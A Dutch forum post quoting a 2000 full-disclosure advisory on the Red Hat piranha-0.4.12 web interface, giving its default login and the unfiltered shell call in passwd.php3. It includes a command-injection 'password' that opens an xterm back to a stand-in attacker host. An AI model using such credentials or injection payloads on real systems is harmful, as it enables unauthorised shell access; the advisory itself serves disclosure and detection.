dvis2:
ik weet niet waar jij die data vandaan haalt, maar dit probleem speelde al een aantal dagen voor de patch. In ieder geval ging via de mailinglist van securityfocus.com al 3 dagen geleden de volgende mail rond:
Hi,
In the interest of full disclosure (I used an alias the last few times,
let's see how this goes as me) here are the details of the piranha
vulnerability. RE: ISS Security Advisory iss.00-04-23.Piranha
To summarize, piranha is a GUI tool for monitoring, configuring, and
administering an LVS cluster. The Redhat 6.2 package piranha-0.4.12
supports web-based php3 interface which is protected by basic
authentication. A default account is provided, that if known, would allow
remote users to change the piranha password as well as run arbitrary
commands on the web server by exploiting a hole in the passwd.php3 script.
First the IDS Signature to detect the attack:
http://whitehats.com/IDS/272
(See
http://whitehats.com/ids for basic information about using signatures to detect attacks on your network.)
Now the exploit: There are basically two problems with the piranha-0.4.12 package, that when combined yield shell access for an attacker. The reason earlier
versions are not vulnerable is because of the shift away from the gui, towards a web-based php3 interface.
The first problem is the default account and password that protect the web directory containing the administrative php3 scripts. This is what ISS called a "backdoor" - which is actually a default password. (If ISS found something other than what I found, please email me...)
The default username/password is: piranha/q
Now the ironic part is, the second part of the vulnability lies within the program that is used to change the password! By default this is installed into /home/httpd/html/piranha/secure as passwd.php3, or:
http://victim.example.com/piranha/secure/passwd.php3
victim.example.com/piranha/secure/passwd.php3
victim.example.com/piranha/secure/passwd.php3
Once you authenticate (see first vulnerability), a form will come up asking for the new password. To avoid typo-regret, you must enter the password twice. It will then proceed to change the piranha password to
whatever you provided as the new password. It does this by passing your input to a shell command without filtering for metacharacters...
passwd.php3:
echo "The passwords you supplied match";
$temp = `/usr/bin/htpasswd -b passwords piranha $try1`;
As one can see, this allows for more creative "new passwords", such as this one:
g23 ;/usr/X11R6/bin/xterm -display attacker.example.com:0 -ut;
Example exploit URL (requires authentication):
--
Max Vision Network Security <vision@whitehats.com>
Network Security Assessment
100% Success Rate : Penetration Testing & Risk Mitigation
Free Visibility Analysis and Price Quote for Your Network
(overigens is die patch er alsnog sneller dan het gemiddelde servicepack van windows
/me Paz
:
.
/u/1701/crop5e4a6f9f75b96.png?f=community){kind=small}
:strip_icc():strip_exif()/u/1857/crop5a4d06ced6afe_cropped.jpeg?f=community){kind=small}
